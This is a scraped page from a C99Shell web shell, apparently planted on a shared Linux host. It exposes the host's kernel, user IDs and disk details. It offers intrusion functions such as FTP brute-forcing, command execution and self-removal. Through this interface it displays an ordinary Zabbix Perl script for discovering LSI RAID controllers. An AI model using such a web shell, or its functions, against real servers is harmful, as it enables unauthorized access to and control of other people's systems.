!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/bin/zabbix/   drwxr-xr-x
Free 711.97 GB of 879.6 GB (80.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     discover_lsi_raid.pl (12.27 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# Low level discovery of LSI RAID devices.
#
# There are multiple CLI tools that each work with some LSI RAID models and
# chipsets. The LLD macro for the adapter is used to also pass the info about
# which CLI command to use with the item prototypes. Not all macros are used or
# returned for all types of hardware, depending on the limitations of the CLI
# tool used.
#
# adapter, megacli    = {#ADP_MEGA}
# adapter, mpt-status = {#ADP_MPT}
# adapter, sas2ircu   = {#ADP_SAS2}
# bbu            = {#BBU}
# enclosure      = {#ENCLOSURE}
# virtual drive  = {#VIRTDRIVE}
# physical drive = {#SLOT}
#
# LSI RAID devices are all either MegaRAID with PCI connections or devices
# using SCSI. MegaRAID devices use megacli (the 'mega' name is a hint).
# Non-MegaRAID devices use one of two other CLIs depending on the chipset
# series: mpt-status for chipsets under 2000, and sas2ircu for all the more
# recent ones.
#
# References used:
# https://www.denniskanbier.nl/blog/monitoring/monitoring-disk-io-using-zabbix/
# https://zabbix.org/wiki/Docs/howto/Nested_LLD

use strict;
use warnings;
use Getopt::Long;

my $debug = 0;

sub exit_empty {
  print '{ "data": [] }';
  exit;
}

# Default action is to do any of the CLIs that are applicable to the hardware.
my $return_only = "ANY";
GetOptions(
    "cli=s" => \$return_only,
);
unless (($return_only eq "ANY")
        || ($return_only eq 'megacli')
        || ($return_only eq 'mpt-status')
        || ($return_only eq 'sas2ircu')) {
    warn "Unexpected CLI name passed in, bailing.";
  exit_empty();
}

# Look for LSI devices. Expected output examples:
#    02:00.0 RAID bus controller: Broadcom / LSI MegaRAID SAS 2108 [Liberator] (rev 05)
#    02:00.0 SCSI storage controller: Broadcom / LSI SAS1068E PCI-Express Fusion-MPT SAS (rev 08)
#    02:00.0 SCSI storage controller: LSI Logic / Symbios Logic SAS1068E PCI-Express Fusion-MPT SAS (rev 08)
#    03:00.0 RAID bus controller: LSI Logic / Symbios Logic MegaRAID SAS 2108 [Liberator] (rev 05)
my $found_devices= `/usr/bin/lspci | /bin/grep "LSI " | /bin/grep -v PATA`;
# Bail if nothing found
exit_empty() unless $found_devices;

# Start making the json struture to return
my $json = qq({ "data": [\n);

# Determine which CLI(s) can be used to get component info, based on the
# device(s) found. If there happen to be two devices that both use the same
# CLI, we're going to only use the CLI once and let it report the duplicates
# since that's easier.
my $cli;  # track which CLIs to use in here
for my $device (split /\n/, $found_devices) {
    if ($device =~ /megaraid/i) {
        $cli->{"megacli"} = 1;
    } else {
        # Pull out the chipset integer from the device info.
        # Strip off everything before the token with the chipset info
        $device =~ s/^.*Logic //;
        # Remove any SAS prefix
        $device =~ s/^SAS ?//;
        # Capture the chipset number and discard the rest.
        $device =~ s/^(\d+)\D+.*$/$1/;

        if ($device >= 2000) {
            $cli->{"sas2ircu"} = 1;
        } else {
            $cli->{"mpt-status"} = 1;
        }
    }
}

# Use the appropriate CLI tool(s) to build the json rows for the discovered
# components.
if ($cli->{"megacli"} &&
        ($return_only eq "megacli" || $return_only eq "ANY")) {
    print "Using CLI megacli\n" if $debug;
    megacli();
}
if ($cli->{"mpt-status"} &&
        ($return_only eq "mpt-status" || $return_only eq "ANY")) {
    print "Using CLI mpt-status\n" if $debug;
    mpt_status();
}
if ($cli->{"sas2ircu"} &&
        ($return_only eq "sas2ircu" || $return_only eq "ANY")) {
    print "Using CLI sas2ircu\n" if $debug;
    sas2ircu();
}

# trim the last ',' off, json doesn't like trailing commas
$json =~ s/,\n$/\n/;
# close up shop
$json .= qq(]}\n);

print $json;

exit;


sub megacli {
    # Find the adapter(s)
    my $adapter_count = `/usr/sbin/megacli -AdpCount -NoLog| /bin/grep "Controller Count" | /usr/bin/awk '{print \$NF}'`;
    chomp $adapter_count;
    $adapter_count =~ s/\.//; # strip off trailing '.' from number
    print "There's $adapter_count adapters here.\n" if $debug;
    for (my $adapter_num = 0; $adapter_num < $adapter_count; $adapter_num++) {
        print "Adapter $adapter_num up now.\n" if $debug;
        $json .= qq(    { "{#ADP_MEGA}":"$adapter_num" },\n);
        my $adapter_info_cmd = "/usr/sbin/megacli -AdpAllInfo -a$adapter_num -NoLog";

        # This Adapter may have a BBU
        my $bbu_are_you_there = `$adapter_info_cmd | /bin/grep -A10 "HW Configuration" | /bin/grep "^BBU " | /usr/bin/awk '{print \$NF}'`;
        chomp $bbu_are_you_there;
        if ($bbu_are_you_there eq 'Present') {
            print "\tBBU is present.\n" if $debug;
            # We're not going to add BBU as a discovered item just yet. There's
            # more BBU logic down where physical drives are found.
        }

        # This Adapter may have Virtual Drives, numbered 0..N
        my $virtual_drive_count = `$adapter_info_cmd | /bin/grep -A10 "Device Present" | /bin/grep "Virtual Drives" | /usr/bin/awk '{print \$NF}'`;
        chomp $virtual_drive_count;
        print "\tVirtual drives on this adapter: $virtual_drive_count\n" if $debug;
        for (my $virt_drive_num = 0; $virt_drive_num < $virtual_drive_count; $virt_drive_num++) {
            $json .= qq(    { "{#ADP_MEGA}":"$adapter_num", "{#VIRTDRIVE}":"$virt_drive_num"},\n);
        }

        # Each Adapter can have one or more Enclosures
        my $enclosure_info_cmd = "/usr/sbin/megacli -EncInfo -a$adapter_num -NoLog";
        my $enclosure_info = `$enclosure_info_cmd`;
        my @lines = split /\n/, $enclosure_info;
        # Find the number of enclosures
        while ($lines[0] !~ m/Number of enclosures on adapter $adapter_num/) {
            shift @lines;
            if (scalar @lines == 0) {
                # Fake a result of zero
                $lines[0] = "Number of enclosures on adapter 0 -- 0";
                last;
            }
        }
        (my $enclosure_count = $lines[0]) =~ s/.*-- //;
        print "\tFound $enclosure_count enclosures  " if $debug;
        # Find the IDs of each enclosure
        my @enclosure_ids;
        for my $line (@lines) {
            next unless $line =~ /Device ID/;
            $line =~ s/.*: //;
            push @enclosure_ids, $line;
        }
        if ($debug) {
            for my $id (@enclosure_ids) {
                print " >$id< ";
            }
            print "\n";
        }
        # Doublecheck we found the right number of enclosure IDs
        if ((scalar @enclosure_ids) != $enclosure_count) {
            printf "Found %s enclosure IDS for %s enclosures, WTH??\n",
                scalar @enclosure_ids,
                $enclosure_count
                if $debug;
        }
        for my $ID (@enclosure_ids) {
            $json .= qq(    { "{#ADP_MEGA}":"$adapter_num", "{#ENCLOSURE}":"$ID"},\n);
        }

        # Each Adapter&Enclosure has multiple Physical Drives
        for my $enclosure_num (@enclosure_ids) {
            # Grab info on which slots have drives.
            my $physical_drive_slot_list = `/usr/sbin/megacli -PDList -a0 -NoLog|/bin/grep "Slot Number"|/usr/bin/awk '{print \$NF}'`;
            my @slots = split /\n/, $physical_drive_slot_list;
            print "\tAdapter $adapter_num enclosure $enclosure_num has drives in slots: " if $debug;
            my %drive_types;
            for my $slot (@slots) {
                print "$slot " if $debug;
                $json .= qq(    { "{#ADP_MEGA}":"$adapter_num", "{#ENCLOSURE}":"$enclosure_num", "{#SLOT}":"$slot"},\n);
                # Check what type of drive this is (ex SSD, spinning platter, etc)
                my $drive_type = `sudo /usr/sbin/megacli -PDInfo -PhysDrv [$enclosure_num:$slot] -a$adapter_num -NoLog|/bin/grep "Media Type"|cut -d " " -f 3-`;
                chomp $drive_type;
                $drive_types{$drive_type} = 1;
            }
            print "\n";
            if ($bbu_are_you_there eq 'Present') {
                # Determine if the BBU is actually needed. If all the drives
                # are SSD, they have their own batteries, so the BBU on the
                # RAID card is unnecessary and doesn't need monitoring.
                delete $drive_types{"Solid State Device"};
                if (keys %drive_types > 0) {
                    # There's only one BBU, it doesn't have an id or anything, so passing 0
                    # is just a placeholder
                    $json .= qq(    { "{#ADP_MEGA}":"$adapter_num", "{#BBU}":"0"},\n);
                    if ($debug) {
                        print "\tBBU is needed! Found non-SSD drive type(s) ";
                        for my $type (keys %drive_types) {
                            print "\"$type\" ";
                        }
                        print "\n";
                    }
                }
            }
        }
    }
}

sub mpt_status {
    my $component_data = `/usr/sbin/mpt-status`;
    for my $component (split /\n/, $component_data) {
        my @component = split / /, $component;

        # Get the 'adapter', really the SCSI ID #. Usually 0.
        my $adapter = $component[0];
        $adapter =~ s/^ioc//;

        if ($component[1] eq 'vol_id') {
            print "Found vol_id $component[2].\n" if $debug;
            $json .= qq(    { "{#ADP_MPT}":"$adapter", "{#VIRTDRIVE}":"$component[2]" },\n);
        } elsif ($component[1] eq 'phy') {
            print "Found physical drive $component[2].\n" if $debug;
            $json .= qq(    { "{#ADP_MPT}":"$adapter", "{#SLOT}":"$component[2]" },\n);
        }
    }
}

sub sas2ircu {
    # Get the adapter info. The output is a nice looking table, designed for
    # human eyes, awkward to work with programatically.
    my $adapter_list = `/usr/sbin/sas2ircu list | /bin/grep -A10 'Index'`;
    my @adapter_lines = split /\n/, $adapter_list;
    # Toss the first two lines, they hold the column headers.
    shift @adapter_lines;
    shift @adapter_lines;
    my @adapter_ids;
    for my $line (@adapter_lines) {
        # Skip the final output line, its not an adapter.
        last if $line =~ /Completed Successfully/;

        # Grab just the index id number and save it.
        $line =~ s/^\s+(\d+)\s+.*$/$1/;
        push @adapter_ids, $line;
    }

    for my $adapter (@adapter_ids) {
        print "Adapter $adapter up now.\n" if $debug;
        # This CLI does not seem to report any status of the adapter itself,
        # but add it to the json as a unique item anyway.
        $json .= qq(    { "{#ADP_SAS2}":"$adapter" },\n);

        # Grab *all* the info for all the devices on this adapter. Unlike
        # MegaCLI, there's no command line options or flags that can be used to
        # request a subset of that info, its all or nothing with sas2ircu. For
        # that reason, we're not bothering with any kind of grep as part of
        # this command. We'll do all our own parsing here in perl, examining
        # each line in turn.
        my $device_info = `/usr/sbin/sas2ircu $adapter display`;
        my @device_lines = split /\n/, $device_info;

        # Virtual Drive info is listed first, as 'IR Volume'
        # Work our way down to that section.
        while (scalar @device_lines > 0) {
            my $line = shift @device_lines;
            if ($line eq "IR Volume information") {
                shift @device_lines; # the '---' line
                last;
            }
        }
        # Look for volume numbers, or the section divider.
        while (scalar @device_lines > 0) {
            my $line = shift @device_lines;
            # Look out for the bottom of the virtual drive section.
            last if $line =~ /---/;
            if ($line =~ /IR volume/) {
                # Pull out the number and add it to the json.
                $line =~ s/^.* (\d+)$/$1/;
                print "\tVirtual Drive $line\n" if $debug;
                $json .= qq(    { "{#ADP_SAS2}":"$adapter", "{#VIRTDRIVE}":"$line"},\n);
            }
        }

        # Physical Drive Info
        # Work our way down to that section.
        while (scalar @device_lines > 0) {
            my $line = shift @device_lines;
            if ($line eq "Physical device information") {
                shift @device_lines; # the '---' line
                last;
            }
        }
        # Look for the enclosure & slot #s for each physical drive.
        while (scalar @device_lines > 0) {
            my $line = shift @device_lines;
            # Look out for the bottom of the physical drive section.
            last if $line =~ /---/;
            if ($line =~ /Device is a Hard disk/) {
                # Get the location of the drive, the enclosure & slot #s.
                my $enclosure = shift @device_lines;
                $enclosure =~ s/^.*: (\d+)$/$1/;
                my $slot = shift @device_lines;
                $slot =~ s/^.*: (\d+)$/$1/;
                print "\tPhysical drive found in slot $slot in enclosure $enclosure\n" if $debug;
                $json .= qq(    { "{#ADP_SAS2}":"$adapter", "{#ENCLOSURE}":"$enclosure", "{#SLOT}":"$slot"},\n);
            }
        }

        # Enclosure Info
        # This CLI does not seem to report any status of the enclosures,
        # but add it to the json as a unique item anyway.
        # It is odd to be doing the enclosure as a separate device after doing
        # the physical drives (which are in an enclosure) but that's the order
        # the output is in so that's the order we process it.
        # Work our way down to that section.
        while (scalar @device_lines > 0) {
            my $line = shift @device_lines;
            if ($line eq "Enclosure information") {
                shift @device_lines; # the '---' line
                last;
            }
        }
        # Look for the enclosure #s.
        while (scalar @device_lines > 0) {
            my $line = shift @device_lines;
            # Look out for the bottom of the enclosures section.
            last if $line =~ /---/;
            # Yes there is really no space there, unlike how it is for the
            # physical drives. I guess that diference is intentional.
            if ($line =~ /Enclosure#/) {
                $line =~ s/^.*: (\d+)$/$1/;
                $json .= qq(    { "{#ADP_SAS2}":"$adapter", "{#ENCLOSURE}":"$line"},\n);
            }
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0529 ]--